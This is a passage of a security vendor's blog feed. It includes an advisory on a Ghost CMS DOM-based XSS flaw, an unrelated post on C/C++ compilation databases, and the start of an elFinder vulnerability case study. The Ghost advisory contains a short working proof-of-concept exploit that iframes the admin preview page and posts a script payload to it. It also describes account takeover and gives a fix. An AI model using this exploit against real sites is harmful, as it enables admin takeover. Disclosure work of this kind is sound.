Policy (SOP)&lt;/a&gt;. It prevents different websites from directly reading or modifying each other unless they come from the same &lt;em&gt;origin&lt;/em&gt;. A website’s origin consists of the protocol, the host, and the port of the website’s URL. For example, &lt;code&gt;https://example.com&lt;/code&gt; is the origin of &lt;code&gt;https://example.com/test/?id=42&lt;/code&gt; (the port is omitted here because it can be derived from the protocol).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/b9479345-64c9-4fe8-b82a-623c3bd70c08/body-70d960f4-ff8c-44a2-83af-494ef1de1f8d_sop%2B%25281%2529.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As a result, a website on &lt;code&gt;https://&lt;/code&gt;&lt;strong&gt;attacker&lt;/strong&gt;&lt;code&gt;.com&lt;/code&gt; cannot read or manipulate any data of &lt;code&gt;https://&lt;/code&gt;&lt;strong&gt;facebook&lt;/strong&gt;&lt;code&gt;.com&lt;/code&gt;, but &lt;code&gt;https://attacker.com/&lt;/code&gt;&lt;strong&gt;xxx&lt;/strong&gt; can access the content of &lt;code&gt;https://attacker.com/&lt;/code&gt;&lt;strong&gt;yyy&lt;/strong&gt;. This is an important security mechanism because otherwise, every website you visit could steal your private Facebook messages or read your bank data, just by embedding the victim site.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There is, however, still a way for websites to communicate with other websites that are &lt;em&gt;cross-origin&lt;/em&gt;, meaning that they have different origins. To do this, websites can send and receive message events by using the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage&quot;&gt;postMessage API&lt;/a&gt;. This method is pretty secure by default because it does not allow the sites to directly access each other’s DOM, but there is still room for things to go wrong when handling these messages, as we will see in the next section.&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;DOM-based XSS in Theme Preview (CVE-2021-29484)&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Ghost is a CMS that consists of two components. The first component is the page containing the content, the other one is the admin area. The admin frontend is usually served on the &lt;code&gt;/ghost/&lt;/code&gt; sub-path of a Ghost site, but it can also be served on another domain if users want to go with an extra-secure setup. The admin area allows users with various roles to log in and perform tasks, e.g. writing new blog posts, editing settings, or changing the site’s theme.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In Ghost 4.0.0, a theme preview feature was added to the admin frontend. It consists of a static HTML page that is served in the context of the admin area at &lt;code&gt;/ghost/preview&lt;/code&gt;. The page, simplified for brevity, looks like this:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/TryGhost/Ghost/blob/95651b33a66f3240535a61999b292a725f1b3317/core/server/web/admin/views/preview.html&quot;&gt;core/server/web/admin/views/preview.html&lt;/a&gt;:&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1   &lt;script type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;
 2       (function(){
 3           function onReceive(message) {
 …               // ...
 6               document.write(message.data);
 …               // ...
 9           }
 …           // ...
34           if (window.addEventListener){
35               addEventListener(&quot;message&quot;, onReceive, true);
 …               // ...
38           }
 …           // ...
42       })();
 …       // ...
53   &lt;/script&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It contains a script that listens for &lt;code&gt;message&lt;/code&gt; events (line 35). If such an event occurs, its content is added to the page in line 6, but without verifying the event’s origin. This constitutes a vulnerability because a site from any origin could send such a message. The whole theme preview component is embeddable from anywhere, as there is no &lt;code&gt;X-Frame-Options&lt;/code&gt; header and no &lt;code&gt;frame-ancestors&lt;/code&gt; directive in the &lt;code&gt;Content-Security-Policy&lt;/code&gt; header that would prevent it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This allows for DOM-based XSS within the context of the admin panel. An attacker could craft a website that embeds the theme preview page and sends a malicious HTML payload to it. The payload will then be inserted into the page, executing any JavaScript in it. Since the victim is logged in, the attacker can now do anything the victim is authorized to do.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Attackers could use this to take over privileged accounts, such as admins or owners, by luring them into visiting an attacker-controlled website while being logged in. The malicious payload could create a new admin account for the attacker, which would provide unrestricted access to the Ghost admin area. This is demonstrated in the demo video above.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;exploit.html:&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;iframe name=&quot;iframe&quot; src=&quot;http://ghost:2368/ghost/preview&quot;&gt;&lt;/iframe&gt;
&lt;script&gt;
window.addEventListener(&apos;message&apos;, (event) =&gt; {
  if (event.data === &apos;loaded&apos;) {
    const payload = &apos;alert(origin)&apos;;
    iframe.postMessage(`&lt;script&gt;${payload}&lt;\x2fscript&gt;`, &apos;*&apos;);
  }
});
&lt;/script&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This example exploit works by embedding a Ghost instance’s theme preview page in an iframe and then using the postMessage API to send a message that contains a malicious script once the iframe has loaded. When a victim, e.g. an admin user, visits the attacker’s page, the script payload is executed and can perform any action as the admin. This would result in the take-over of the Ghost site, as the attacker could read and modify everything on it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This vulnerability shows that even in high-quality codebases, things can slip through. An automated approach helps to catch issues &lt;a href=&quot;https://sonarcloud.io/code-security/&quot;&gt;before they go into production&lt;/a&gt; or even &lt;a href=&quot;https://www.sonarlint.org/&quot;&gt;before they leave the IDE&lt;/a&gt;.&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this case, the vendor chose to &lt;a href=&quot;https://github.com/TryGhost/Ghost/commit/14b3431de12e674a0bd562e9230e2891b6903ae2&quot;&gt;remove&lt;/a&gt; the affected component because it was unused anyway. In other scenarios, there might not be such an easy option.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The main issue was that &lt;em&gt;any&lt;/em&gt; website could have sent a message event and the theme preview component would not validate where it came from. Fortunately, message events have the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/MessageEvent/origin&quot;&gt;origin&lt;/a&gt; property that can be used to validate the sender. A straightforward fix would be to compare the event’s origin with a set of allowed origins and reject any message that comes from somewhere else. Example:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const allowedOrigins = [
    &apos;https://example.com&apos;,
    &apos;https://blog.example.com&apos;,
];
window.addEventListener(&apos;message&apos;, (event) =&gt; {
    if (!allowedOrigins.includes(event.origin)) {
        return;
    }
    handleEvent(event);
});&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So if your code is handling cross-origin message events, you can check if it uses the messages in potentially dangerous ways, such as inserting unfiltered data into the page. In this case, we recommend checking the origin to verify that events come from non-malicious origins, as shown in the example above.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-04-27&lt;/td&gt;&lt;td&gt;We send a detailed advisory via email&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-04-27&lt;/td&gt;&lt;td&gt;Vendor confirms the issue, asks for additional proof-of-concept (PoC)&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-04-27&lt;/td&gt;&lt;td&gt;We send an additional PoC that demonstrates the impact&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-04-28&lt;/td&gt;&lt;td&gt;Vendor asks for further clarification&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-04-28&lt;/td&gt;&lt;td&gt;We provide more details&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-04-29&lt;/td&gt;&lt;td&gt;Vendor releases version 4.3.3&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this blog post, we analyzed a code vulnerability found in Ghost 4.3.2, a widely-used open-source CMS written in JavaScript. We outlined how the Same-Origin Policy works, and how unsafe handling of Cross-Origin messages can lead to the takeover of a Ghost instance. We also explained how to prevent vulnerabilities of this kind.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We reported these vulnerabilities to the vendor in late April 2021. They confirmed and fixed the vulnerabilities immediately and took their product’s security very seriously, so huge kudos to the Ghost security team! If you are running Ghost, we recommend updating to at least version 4.3.3.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;em&gt;&lt;a href=&quot;https://blog.sonarsource.com/zimbra-webmail-compromise-via-email&quot;&gt;Zimbra 8.8.15 - Webmail Compromise via Email&lt;/a&gt; &lt;/em&gt;&lt;/li&gt;&lt;li&gt;&lt;em&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-xxe-security-vulnerability&quot;&gt;WordPress 5.7 XXE Vulnerability&lt;/a&gt; &lt;/em&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/grav-cms-code-execution-vulnerabilities&quot;&gt;&lt;em&gt;Grav CMS 1.7.10 - Code Execution Vulnerabilities&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Compilation database: An alternative way to configure your C or C++ analysis]]></title><description><![CDATA[Analyzing your C or C++ code requires, in addition to the source code, the configuration that is used to build the code. Historically we have provided a tool to automate the extraction of this information, called the build wrapper. Recently we introduced another way to configure your analysis, the compilation database. Learn more about the pros and cons of each option.]]></description><link>https://www.sonarsource.com/blog/alternative-way-to-configure-c-and-cpp-analysis</link><guid isPermaLink="false">2508f247-b331-520d-aa74-47e072c55886</guid><dc:creator><![CDATA[Loïc Joly]]></dc:creator><pubDate>Tue, 24 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Analyzing C or C++ code requires - in addition to the source code - the configuration that is used to build the code. At SonarSource, we have provided a tool to automate the extraction of this information, the &lt;a href=&quot;https://docs.sonarcloud.io/advanced-setup/languages/c-c-objective-c/#analysis-steps-using-build-wrapper&quot;&gt;&lt;em&gt;build wrapper&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This tool has been used successfully with many projects, yet there are cases where it does not work well, or where it works correctly but is cumbersome. We recently introduced another way to configure your analysis, the &lt;a href=&quot;https://docs.sonarcloud.io/advanced-setup/languages/c-c-objective-c/#analysis-steps-using-compilation-database&quot;&gt;compilation database&lt;/a&gt;. The goal of this post is to explain in more detail the pros and cons of each option, and to help you select the one that will be best in your situation, for your projects.&lt;/p&gt;&lt;h2&gt;Why is this needed in the first place?&lt;/h2&gt;&lt;p&gt;Analyzing source code is made up of many steps, and the first step is the same as for compiling source code: read the source files and build an internal representation of the code. This step depends on some configuration that is usually not present in the source code itself, but in external files (project files or header files) as well as in non-explicit forms (the environment variables on the build machine, the version of some system libraries installed by default…​).&lt;/p&gt;&lt;h3&gt;What makes C and C++ different?&lt;/h3&gt;&lt;p&gt;At the time of writing this article, we analyze 27 languages at SonarSource, and most of them don’t require accurate configuration information. In Javascript, for example, each file can pretty much be analyzed in total isolation, without considering configuration. In Java, some class paths are required for detecting issues that depend on the prototype of the function being called, but many rules can still provide accurate results without this information.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Unfortunately, for C and C++ the situation is quite different. These languages heavily depend on a preprocessor to assemble files, or to select among variants of a program co-existing within a unique source code. And in turn, this preprocessor heavily depends on some external configuration (most importantly, macro definitions and include paths).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Without this configuration, the code will not only miss some details, it might not even look like C at all. I’ve already encountered some code (obviously written by a developer with a Pascal background), that looked like this:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;procedure Print(int i)&lt;/code&gt;&lt;br/&gt;begin&lt;br/&gt;printf(&amp;quot;%d&amp;quot;, i);&lt;br/&gt;end&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Does it look like C to you? It does, when you know that this user had defined some macros:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;#define begin {&lt;/code&gt;&lt;br/&gt;#define end }&lt;br/&gt;#define procedure void&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And so the code really was identical to:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;void Print(int i)&lt;/code&gt;&lt;br/&gt;{&lt;br/&gt;printf(&amp;quot;%d&amp;quot;, i);&lt;br/&gt;}&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Even without considering such corner cases, macros usually control which header files get included, and that in turn defines how other macros should be expanded, which in turn can totally change the meaning of the source code.&lt;/p&gt;&lt;h3&gt;So, what configuration is needed?&lt;/h3&gt;&lt;p&gt;During a normal development process, the configuration usually comes from two sources:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Some files that describe the configuration of a project (&lt;code&gt;CmakeLists.txt, Makefile, .vcxproj…​&lt;/code&gt;)&lt;/li&gt;&lt;li&gt;The way the build machine is installed before the build starts (some files are in some folders, some environment variables are defined)&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;How to handle machine-level configuration?&lt;/h3&gt;&lt;p&gt;There could be more advanced ways to deal with machine-level configuration. We chose a very pragmatic one: We require that the analysis runs in the same environment as the build. That way, any file that was accessed during the build (including files generated during the build) is available when performing the analysis. And all access rights, environment variables, disk mounts…​ are identical.&lt;/p&gt;&lt;h3&gt;How to handle project-level configuration?&lt;/h3&gt;&lt;p&gt;We could write tools capable of understanding some project files, or tools working as plug-ins inside build systems. This is what we do for Java, with Maven and  Gradle extensions. And with C# with an MsBuild extension. But the problem with C and C++, as always, is that there is not one standard build system, but many different systems, and that many large projects will use a combination of several of them.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The next sections are going to go into more detail for the two options we implemented to get that configuration.&lt;/p&gt;&lt;h2&gt;The old and trusted way: &lt;em&gt;Build wrapper&lt;/em&gt;&lt;/h2&gt;&lt;p&gt;There is only one time when we can be confident that the configuration information is accurately computed: When building a project. The problem is that this configuration is not readily available for us, it is targeted at the compiler (and transferred as command-line options). But this issue can be overcome in most cases. This is where the &lt;em&gt;build wrapper&lt;/em&gt; comes in.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The goal of this program is to eavesdrop on the build process, detect every time a compiler is launched, and record the arguments it was invoked with.&lt;/p&gt;&lt;h3&gt;Shortcomings&lt;/h3&gt;&lt;p&gt;This process of eavesdropping may seem simple, but it is not really. We have to eavesdrop not only on the main build process, but also on all the other processes directly or indirectly started by that process (build tools usually spawn an impressive process tree), across the three operating systems we support. With the wealth of build tools available to the C and C++ communities, there are some cases where this fails:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;On Linux &amp;amp; macOS, the &lt;em&gt;build wrapper&lt;/em&gt; relies on dynamic libraries to inject the eavesdropping code into the build processes. If those processes are statically linked, this option is not available.&lt;/li&gt;&lt;li&gt;Some build systems (for instance, Bazel) copy the source files to a different location and compile them there, in order to provide a sandboxed environment. This means that the files that are actually analyzed are not part of the source tree that was checked out from the SCM, and may not be indexed by the scanner. In the best case the analysis will work, but will not contain source control information (the files actually used are &lt;em&gt;not&lt;/em&gt; under source control). In the worst case, those files will be skipped by the analysis, leading to an empty analysis.&lt;/li&gt;&lt;li&gt;The &lt;em&gt;build wrapper&lt;/em&gt; can only eavesdrop on processes started as subprocesses of the build entry-point. If this entry point is communicating with a daemon that was already running (a typical case would be for distributed builds), the &lt;em&gt;build wrapper&lt;/em&gt; will be totally ignorant of whatever this daemon does.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These situations aren&amp;#x27;t common, and when they do occur, it’s usually possible to use a switch that enforces a more basic strategy that will be compatible with the &lt;em&gt;build wrapper&lt;/em&gt;. However, this comes with a cost, for instance replacing a distributed build with a slower local build.&lt;/p&gt;&lt;h3&gt;The need for a clean build&lt;/h3&gt;&lt;p&gt;Since the &lt;em&gt;build wrapper&lt;/em&gt; eavesdrops on the compiler processes, if an incremental build detects that a file does not need to be recompiled, it will not spawn a compiler process, and the file will be unknown to the &lt;em&gt;build wrapper&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You may think this is not really a problem. This file will not be analyzed, but since it was unchanged, the results from the previous analysis can be re-used. Unfortunately, this is not the case: When a previously analysed file is no longer mentioned in a subsequent analysis, this is interpreted by SonarQube/SonarCloud to mean that it has been removed by the user from the source code. As a consequence, the list of files to analyze must always be complete: &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The build wrapper depends on wrapping a full build, not an incremental one.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you’re accustomed to working with large C or C++ codebases, you know that the ability to do incremental builds is of the essence to be able to achieve reasonable build performance. Does the previous statement mean that you have to give up incremental builds in your CI in order to be able to analyze your code?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Well, yes…​ And, thankfully, no!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You always need to run a full build, but the launched compiler processes don’t have to do anything on files that are already up-to-date. If you use a tool like &lt;a href=&quot;https://ccache.dev/&quot;&gt;&lt;em&gt;ccache&lt;/em&gt;&lt;/a&gt;, this tool will masquerade as a compiler executable, but will fetch a previously built artifact when asked to build something that is already in the cache, instead of going through the costly process of re-generating this artifact from scratch.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It’s a full build from the outside, but an incremental build from the inside.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By the way, the analysis itself has a &lt;a href=&quot;https://docs.sonarcloud.io/advanced-setup/languages/c-c-objective-c/#analysis-cache&quot;&gt;built-in mechanism&lt;/a&gt; similar to &lt;em&gt;ccache&lt;/em&gt;, that can really speed up the analysis as long as you can provide an up-to-date analysis cache.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If, in your situation, using something similar to &lt;em&gt;ccache&lt;/em&gt; is not an option, and the cost of performing a full build is an issue, you might want to have a look at the next section.&lt;/p&gt;&lt;h2&gt;The newfangled: Compilation database&lt;/h2&gt;&lt;p&gt;As we previously noted, there is no unique build system for C++. Nevertheless, there is a de facto standard that emerged a few years ago to describe the result of executing a build. It is called a &lt;a href=&quot;https://clang.llvm.org/docs/JSONCompilationDatabase.html&quot;&gt;&lt;em&gt;compilation database&lt;/em&gt;&lt;/a&gt;. It is not a high-level description of the build rules and dependencies, but the low-level results of what needs to be done in the end, what file needs to be compiled with what option. The same level of information that is generated when the &lt;em&gt;build wrapper&lt;/em&gt; eavesdrops on a real build.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The point is that our tools are not the only ones that need this kind of information: Any tool that deals with C or C++ source code needs it, and this compilation database format can be a bridge between build systems and many tools (IDEs, code navigation, documentation…​), including our analysis tools.&lt;/p&gt;&lt;h3&gt;How to generate it?&lt;/h3&gt;&lt;p&gt;There are many ways to generate this data. Some are more robust than others.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For instance, if you are using &lt;em&gt;cmake&lt;/em&gt; to build your project, you can invoke it with:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;cmake -DCMAKE_EXPORT_COMPILE_COMMANDS=ON&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And a compilation database will be generated.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There are many other tools that can generate it. Have a look at this &lt;a href=&quot;https://sarcasm.github.io/notes/dev/compilation-database.html#how-to-generate-a-json-compilation-database&quot;&gt;rather comprehensive list&lt;/a&gt;, and if you still cannot find something that fits what you want in this list, you can also manually generate this file yourself.&lt;/p&gt;&lt;h3&gt;Are there any caveats?&lt;/h3&gt;&lt;p&gt;Yes, of course. Working with a compilation database offers more flexibility, but this flexibility comes with some added complexity, and some risks of an incorrect configuration, and therefore an incorrect analysis. In the tradition of C and C++, by allowing you to configure analysis from a compilation database, we give you a powerful tool, one that is fully capable of blowing your whole leg off.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When configuring analysis with a compilation database, it should be:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Complete: It should mention all files that are part of the project, even files that have not changed for a long time,&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Truthful: All files should have the same options as for a real build,&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Self-sufficient: If some files are generated during the build and referenced (directly or not) by the compilation database, we will need them during analysis. This means that even if you configure analysis with a compilation database, enough of the build should be run that the generated files are present for analysis (or are retrieved from some cache),&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Up-to-date: If the project changes, the compilation database needs to be updated.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Additionally, a compilation database does not record environment variables, so if your build process temporarily sets some of them, and the compilation depends on them, a compilation database might not be suitable.&lt;/p&gt;&lt;h2&gt;Which one should I use?&lt;/h2&gt;&lt;p&gt;The short answer is: It depends.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For a more detailed answer, we suggest you follow this decision tree:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/99009d68-a5c3-4297-a84c-f79769364370/body-7e34f543-fb74-4aa6-9ff0-8f5d2fc8aa1f_vertical%2Bdecision%2Bhelper%2B21pt%25402x.png&quot; /&gt;&lt;p&gt;If you are still unsure, or have a feeling that the solution you’ve reached is not optimal, please come and present your situation on our &lt;a href=&quot;https://community.sonarsource.com/&quot;&gt;community forum&lt;/a&gt;, we’ll be happy to flesh out a solution with you.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[elFinder - A Case Study of Web File Manager Vulnerabilities]]></title><description><![CDATA[Our case study of elFinder 2.1.57 describes several critical code vulnerabilities commonly found in web file managers and how to patch them.]]></description><link>https://www.sonarsource.com/blog/elfinder-case-study-of-web-file-manager-vulnerabilities</link><guid isPermaLink="false">e51e0518-4e0d-572b-ba14-b9d2ad079c10</guid><dc:creator><![CDATA[Thomas Chauchefoin]]></dc:creator><pubDate>Tue, 17 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;An application’s interaction with the file system is always highly security sensitive since minor functional bugs can easily be the source of exploitable vulnerabilities. This observation is especially true in the case of web file managers, whose role is to replicate the features of a complete file system and expose it to the client’s browser in a transparent way.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;elFinder is a popular web file manager often used in CMS and frameworks, such as WordPress plugins (wp-file-manager) or Symfony bundles, to allow easy operations on both local and remote files. In the past, elFinder has been part of active in-the-wild attacks targeting unsafe configuration or actual code vulnerabilities. Thus, elFinder is published with a safe default configuration to prevent any malicious use by attackers.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As part of our regular assessment of widely deployed open-source projects, we discovered multiple new code vulnerabilities in elFinder. In the following case study of common code vulnerabilities in web file managers, we describe five different vulnerability chains and demonstrate how they could be exploited to gain control of the underlying server and its data. We will also discuss some of the patches that were later implemented by the vendor to show how to prevent them in your own code.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;We worked on the development branch, commit &lt;a href=&quot;https://github.com/Studio-42/elFinder/commit/f9c906d808d1721a62fc2a4fdb38d77c1c1ff229&quot;&gt;f9c906d&lt;/a&gt;. Findings were also confirmed on release 2.1.57; all affect the default configuration (unless specified otherwise in this article) and do not require prior authentication. As we mentioned, the exploitation of these vulnerabilities can let an attacker execute arbitrary PHP code on the server where elFinder is installed, ultimately leading to its compromise. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The findings we discuss in this blog post (all assigned to CVE-2021-32682) and successfully exploited to gain code execution are: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;Deleting Arbitrary Files&lt;/li&gt;&lt;li&gt;Moving Arbitrary Files&lt;/li&gt;&lt;li&gt;Uploading PHP Files&lt;/li&gt;&lt;li&gt;Argument Injection&lt;/li&gt;&lt;li&gt;Race Condition&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;All these bug classes are very common in software that exposes filesystems to users, and are likely to impact a broad range of products, not only elFinder. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;elFinder released version 2.1.59 to address all the bugs we responsibly disclosed. There is no doubt these vulnerabilities will also be exploited in the wild, because exploits &lt;a href=&quot;https://www.exploit-db.com/search?text=connector.minimal.php&quot;&gt;targeting old versions have been publicly released&lt;/a&gt; and the connectors filenames are part of &lt;a href=&quot;https://github.com/koaj/ffw-content-discovery/blob/9bda1a1ebde71e84bcfde15c46524527bb24087f/cve-wordlist.txt&quot;&gt;compilations&lt;/a&gt; of paths to look for when trying to compromise websites. Hence, we highly recommend that all users immediately upgrade elFinder to the latest version.&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;elFinder comes with a back end (also called &lt;em&gt;connector&lt;/em&gt;) written in PHP and a front end written in HTML and JavaScript. The &lt;em&gt;connector&lt;/em&gt; is the main script that dispatches the actions of the front end code to the right back end code to implement file system features. Connectors can be configured to disallow dangerous actions, restrict uploads to specific MIME types: two different ones are part of the default install. We detected vulnerabilities in the so-called “minimal” connector. It only allows image and plain text uploads and FTP is the only supported remote virtual filesystem: this is presumably the safest one and the most likely to be deployed. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To give a better understanding of the code snippets we will use to demonstrate our findings, we will first describe how elFinder’s routing works. Like in many modern PHP applications, the connector (e.g. &lt;code&gt;connector.minimal.php&lt;/code&gt;) is the only entry point. It declares configuration directives and closures and then instantiates both &lt;code&gt;elFinder&lt;/code&gt; (the core) and &lt;code&gt;elFinderConnector&lt;/code&gt; (the interface between &lt;code&gt;elFinder&lt;/code&gt; and the transport channel, here HTTP). &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The attribute &lt;code&gt;elFinder::$commands&lt;/code&gt; contains every valid action and the expected arguments:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;php/elFinder.class.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;protected $commands = array(
  &apos;abort&apos; =&gt; array(&apos;id&apos; =&gt; true),
  &apos;archive&apos; =&gt; array(&apos;targets&apos; =&gt; true, &apos;type&apos; =&gt; true, &apos;mimes&apos; =&gt; false, &apos;name&apos; =&gt; false),
  &apos;callback&apos; =&gt; array(&apos;node&apos; =&gt; true, &apos;json&apos; =&gt; false, &apos;bind&apos; =&gt; false, &apos;done&apos; =&gt; false),
  &apos;chmod&apos; =&gt; array(&apos;targets&apos; =&gt; true, &apos;mode&apos; =&gt; true),
  &apos;dim&apos; =&gt; array(&apos;target&apos; =&gt; true, &apos;substitute&apos; =&gt; false),
  &apos;duplicate&apos; =&gt; array(&apos;targets&apos; =&gt; true, &apos;suffix&apos; =&gt; false),
